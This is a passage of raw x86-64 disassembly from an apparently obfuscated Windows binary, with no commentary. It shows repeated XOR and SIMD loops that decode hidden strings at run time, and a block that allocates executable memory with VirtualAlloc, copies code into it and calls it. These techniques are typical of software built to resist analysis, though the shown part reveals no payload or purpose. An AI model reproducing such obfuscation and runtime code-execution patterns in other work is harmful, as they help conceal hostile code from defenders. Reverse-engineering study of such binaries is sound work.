movups xmm0, xmmword [str.n_5.f1:5__nnO]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [0x140278630]
movups xmmword [rsp + 0x130], xmm1
movups xmm0, xmmword [0x140278640]
movups xmmword [rsp + 0x140], xmm0
mov r9d, esi
cmp r14d, 2
jl 0x14021d883
mov edx, esi
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x124]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x14021d710
jmp 0x14021d8dc
lea r10, [rsp + 0x120]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x30
jl 0x14021d890
movsd xmm0, qword [str._717:qb_Q]
movzx eax, byte [0x140275e80]
movsd qword [rsp + 0x80], xmm0
mov byte [rsp + 0x80], 0x68
xor byte [rsp + 0x81], 0x43
xor byte [rsp + 0x82], 0x45
xor byte [rsp + 0x83], 0x47
xor byte [rsp + 0x84], 0x49
xor byte [rsp + 0x85], 0x4b
xor byte [rsp + 0x86], 0x4d
xor byte [rsp + 0x87], 0x4f
xor al, 0x51
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14021d950
mov rdx, qword [0x14028d518]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rdx
cmp rax, rcx
jb 0x140222c13
lea rax, [0x14028d508]
cmp qword [0x14028d520], 0xf
cmova rax, qword [0x14028d508]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x80]
lea rcx, [rsp + 0x220]
call fcn.1402462d0
bts edi, 0x1c
mov dword [rsp + 0x44], edi
lea rax, [rsp + 0x120]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021d9d0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x220]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x638], xmm0
mov qword [rsp + 0x648], rsi
mov qword [rsp + 0x650], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x638], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x648], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts edi, 0x1d
mov dword [rsp + 0x44], edi
lea rcx, [rsp + 0x220]
call fcn.140240fd0
movzx eax, word [0x140275b1c]
mov word [rsp + 0x40], ax
cmp byte [0x140275b1d], 0
je 0x14021da64
mov byte [rsp + 0x40], 0x7c
xor byte [rsp + 0x41], 0x43
movups xmm4, xmmword [0x140276bb8]
movups xmmword [rsp + 0x50], xmm4
movzx eax, byte [0x140276bc8]
mov byte [rsp + 0x60], al
mov r9d, esi
cmp r14d, 2
jl 0x14021dd49
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x58]
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14021dd60
lea rax, [rsp + 0x50]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14021ddc0
mov rdx, qword [0x14028d4e8]
mov rax, rbx
sub rax, rdx
cmp rax, rcx
jb 0x140222c19
lea rax, [0x14028d4d8]
cmp qword [0x14028d4f0], 0xf
cmova rax, qword [0x14028d4d8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x50]
lea rcx, [rsp + 0x5b0]
call fcn.1402462d0
bts edi, 0x1e
mov dword [rsp + 0x44], edi
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021de30
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x5b0]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
mov qword [rsp + 0x560], rsi
mov qword [rsp + 0x568], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x550], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x560], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 0x80000000
mov dword [rsp + 0x44], edi
lea rdx, [0x14028d328]
cmp qword [0x14028d340], 0xf
cmova rdx, qword [0x14028d328]
mov r8, qword [0x14028d338]
lea rcx, [rsp + 0x550]
call fcn.14023f5d0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x748], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x758], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rsp + 0x170], 1
lea rcx, [rsp + 0x550]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5b0]
call fcn.140240fd0
lea rdx, [rsp + 0x748]
lea rcx, [rsp + 0x7f0]
call fcn.1401f6b30
nop
lea rax, [rsp + 0x638]
cmp qword [rsp + 0x650], 0xf
cmova rax, qword [rsp + 0x638]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x1d58]
mov qword [rsp + 0x558], r15
mov qword [rsp + 0x560], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0x550], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x14028ce40]
test rax, rax
je 0x14021dfb9
mov rdx, rsi
lea r8, [0x140242e20]
nop dword [rax]
cmp rax, r8
je 0x14021dfa8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x28ce40]
test rax, rax
jne 0x14021df90
jmp 0x14021dfb9
mov r8, qword [r12 + rdx*8 + 0x290a50]
test r8, r8
jne 0x14021e0a7
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14021dfe2
mov r8, rsi
jmp 0x14021e07f
lea rax, [0x140242e20]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14021dff1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140291090]
lea rcx, [0x140242e20]
mov qword [r12 + rax*8 + 0x28ce40], rcx
mov qword [r12 + rax*8 + 0x290a50], r8
inc rax
mov qword [0x140291090], rax
lea rdx, [rsp + 0x50]
lea rcx, [fcn.1401f0d40]
call r8
nop
xor rbx, r15
mov qword [rsp + 0x550], rbx
lea rax, [rsp + 0x1d58]
mov qword [rax], rbx
movsd xmm0, qword [0x140277b50]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [0x140277b58]
mov dword [rsp + 0x158], ecx
movzx eax, byte [0x140277b5c]
mov byte [rsp + 0x15c], al
mov r9d, esi
cmp r14d, 2
jl 0x14021e324
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140277b50]
xorps xmm2, xmm0
movd dword [rsp + 0x150], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x154]
xorps xmm2, xmm1
movd dword [rsp + 0x154], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x158], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x150]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14021e340
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x150]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021e3c0
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x100]
call fcn.1402071a0
lea rcx, [rsp + 0x100]
call fcn.1401fab60
mov eax, dword [0x14027669c]
mov dword [rsp + 0x90], eax
movzx eax, byte [0x1402766a0]
mov byte [rsp + 0x90], 0x50
xor byte [rsp + 0x91], 0x43
xor byte [rsp + 0x92], 0x45
xor byte [rsp + 0x93], 0x47
xor al, 0x49
mov byte [rsp + 0x94], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x90]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14021e453
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x100]
call fcn.1402071a0
nop
movsd xmm0, qword [0x140275c00]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [0x140275c08]
mov dword [rsp + 0x168], ecx
movzx eax, byte [0x140275c0c]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp r14d, 2
jl 0x14021e6ca
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140275c00]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x168], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14021e6e0
movups xmm0, xmmword [str._35____8__x_v_]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [0x1402773b0]
movups xmmword [rsp + 0x130], xmm1
movzx eax, word [0x1402773c0]
mov word [rsp + 0x140], ax
mov r9d, esi
cmp r14d, 2
jl 0x14021e8f9
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0x50]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14021e780
cmp r9d, 0x22
jge 0x14021e961
movsxd rax, r9d
lea r10, [rsp + 0x120]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x14021e910
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rsi
mov qword [rsp + 0x238], rsi
lea rax, [rsp + 0x160]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021e990
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.1402071a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x258], rsi
lea rax, [rsp + 0x120]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14021e9e0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x240]
call fcn.1402071a0
nop
lea rax, [rsp + 0x220]
mov qword [rsp + 0x280], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x288], rax
movaps xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1f8]
call fcn.1401f2df0
mov r12, rax
lea rdx, [rsp + 0x7f0]
lea rcx, [rsp + 0x5b0]
call fcn.14023f840
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x570], xmm0
mov qword [rsp + 0x580], rsi
mov qword [rsp + 0x588], rsi
mov r14, qword [rsp + 0x648]
lea r15, [rsp + 0x638]
cmp qword [rsp + 0x650], 0xf
cmova r15, qword [rsp + 0x638]
